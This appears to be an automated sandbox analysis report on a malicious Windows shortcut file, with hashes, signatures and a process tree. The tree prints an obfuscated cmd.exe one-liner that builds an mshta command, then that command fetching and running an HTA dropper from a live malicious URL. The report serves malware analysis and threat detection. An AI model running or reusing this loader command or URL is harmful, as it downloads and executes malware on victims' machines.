Analysis

  • max time kernel
    148s
  • max time network
    119s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:23

General

  • Target
    DOC-D1WC3C.lnk
  • Size 2KB
  • Sample260803-qm2hasbr4x
  • SHA256 91e48b9deb0802be45c3e0f2d220cef4477c1b706a72467efedddc641c8d5aa1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-D1WC3C.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set nYEGD=h4mshs&&set kAJ=wktfo&&set Zx=61aah9&set TV=systrqruuchfizgzydsys&set kzL=winxttfbwin&set qu=systcudhzbhpdulusbtptaatsys&set khbke=datrergeodgohrlueadesdat&set mtZH=s1xstare1m&&set NboUk=9y2tkn&set Go=infukmlwbglbqjlirocdrinf&&set FQ=htt@p@s://b@ro@-@pd@f@f@i@[email protected]/@h@/es@[email protected]@h@p?r@=@360761F1@57@94&&start /b !nYEGD:~2,3!!kAJ:~2,1!!Zx:~3,1! !FQ:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\System32\mshta.exe
        mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:4424

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads